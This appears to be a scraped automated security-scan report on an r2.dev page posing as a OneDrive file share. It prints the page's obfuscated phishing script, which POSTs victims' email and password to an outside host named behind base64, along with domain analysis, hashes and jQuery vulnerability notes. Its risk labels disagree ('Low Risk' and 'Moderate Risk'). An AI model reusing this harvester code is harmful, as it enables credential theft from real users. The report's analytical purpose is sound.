corporate business

English

The domain name 'pub-de59803496c8489585895b6917266e7c.r2.dev' uses the developer-focused generic top-level domain (.dev) and includes subdomain 'pub-de59803496c8489585895b6917266e7c'. Its registrable label 'r2' stretches across 2 characters holding 0 vowels versus 1 consonant; it also includes 1 digit. Segmentation suggests two words: r, 2. Average segment length settles at 1 character. No strong language cues emerged from the frequency lists.

html/dd/c7/ddc7f463-c584-4ae8-aafe-b69a9be880ac.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/hosted-libraries-pushers

909ae563eb34f7e4285a3a643ab5d7c21c5e6a80f3f455b949ac45f08d0389b4

56c12a125b021d21a69e61d7190cefa168d6c28ce715265cea1b3b0112d169c4

e7ed36ceee5450b4243bbc35188afabdfb4280c7c57597001de0ed167299b01b

4b940065e2a67c37e3bd02b23c651f4744a3c219aba2d4fb99a631113494d376

160a426ff2894252cd7cebbdd6d6b7da8fcd319c65b70468f10b6690c45d02ef

9365920887b11b33a3dc4ba28a0f93951f200341263e3b9cefd384798e4be398

05b85d96f41fff14d8f608dad03ab71e2c1017c2da0914d7c59291bad7a54f8e

a52f7aa54d7bcaafa056ee0a050262dfc5694ae28dee8b4cac3429af37ff0d66

jQuery before 3.4.0, as used in Drupal, Backdrop CMS, and other products, mishandles jQuery.extend(true, {}, ...) because of Object.prototype pollution

passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

Regex in its jQuery.htmlPrefilter sometimes may introduce XSS

jQuery 1.x and 2.x are End-of-Life and no longer receiving security updates

parseHTML() executes scripts in event handlers

878b0616ba7fed5e7a3d68e82511478dceb97d3af0d50d999cb51f620c6ec182

robots

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Abuse Team

CloudFlare, Inc.

r2.dev


//redirect link
var rdrt = "https://pub-52eedc513ed24eeab01efcbc6b7da5d1.r2.dev/thank.html";

//count result
var rc = 2;

//mailer link
var f ="https://marsor.net/wd/" + atob("bmV4dC5waHA=");


eval(function(p, a, c, k, e, r) { e = function(c) { return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c);
        k = [function(e) { return r[e] }];
        e = function() { return '\\w+' };
        c = 1 }; while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('$(O).P(r(){3 l=0;3 m=F.G.Q.7(1);8(!m){}R{3 n=m;3 o=n.s("@");3 p=n.7((o+1));3 c=p.7(0,p.s(\'.\'));3 q=c.H();$(\'#S\').T(\'I\');$(\'#x\').u(n)}$(\'#y-z\').I(r(b){$(\'#5\').U();b.V();3 d=$("#x").u();3 e=$("#A").u();3 g=d;3 h=/^([a-B-C-W\\.\\-])+\\@(([a-B-C-9\\-])+\\.)+([a-B-C-9]{2,4})+$/;8(!d){$(\'#5\').D();$(\'#5\').6("X J K L.!");d.E;v w}8(!h.Y(g)){$(\'#5\').D();$(\'#5\').6("Z M 10\'t 11. 12 a 13 M");d.E;v w}8(!e){$(\'#5\').D();$(\'#5\').6("N J K L.!");d.E;v w}3 i=g.s("@");3 j=g.7((i+1));3 c=j.7(0,j.s(\'.\'));3 k=c.H();l=l+1;$.14({15:\'16\',17:f,18:\'19\',1a:{x:d,A:e,},1b:r(a){$(\'#y-z\').6(\'1c...\')},1d:r(){$("#A").u("");8(l>=1e){l=0;F.G.1f(1g+"#"+g);v w}$("#1h").6("1i N..! 1j 1k 1l 1m.");$(\'#y-z\').6(\'1n\')}})})});', 62, 86, '|||var||error|html|substr|if|||||||||||||||||||function|indexOf||val|return|false|ai|sub|btn|pr|zA|Z0|show|focus|window|location|toLowerCase|click|field|is|empty|account|Password|document|ready|hash|else|modalbtn|trigger|hide|preventDefault|9_|Email|test|That|doesn|exist|Enter|different|ajax|dataType|JSON|url|type|POST|data|beforeSend|Verifing|complete|rc|replace|rdrt|msg|Invalid|Please|enter|correct|password|Login'.split('|'), 0, {}))


PasswordField

JQuery

Bootstrap

Cloudflare Bot Management

Cloudflare

jQuery CDN

cdnjs

Google Hosted Libraries

Files | OneDrive

✅ Low Risk - https://pub-de59803496c8489585895b6917266e7c.r2.dev/490578.html

Requests	IP Address	Location	AS Autonomous System
4	104.18.54.45Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
2	172.217.116.4Google · CDN	United States	AS15169Google LLC
2	104.17.25.14Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
2	104.18.10.207Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
2	151.101.129.155Fastly · CDN	United States	AS54113Fastly, Inc.
2	192.178.183.95Google · CDN	United States	AS15169Google LLC
14	6	-	-

Security Scan Report: pub-de59803496c8489585895b6917266e7c.r2.dev

Summary

AI Security Verdict

Moderate Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies8

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History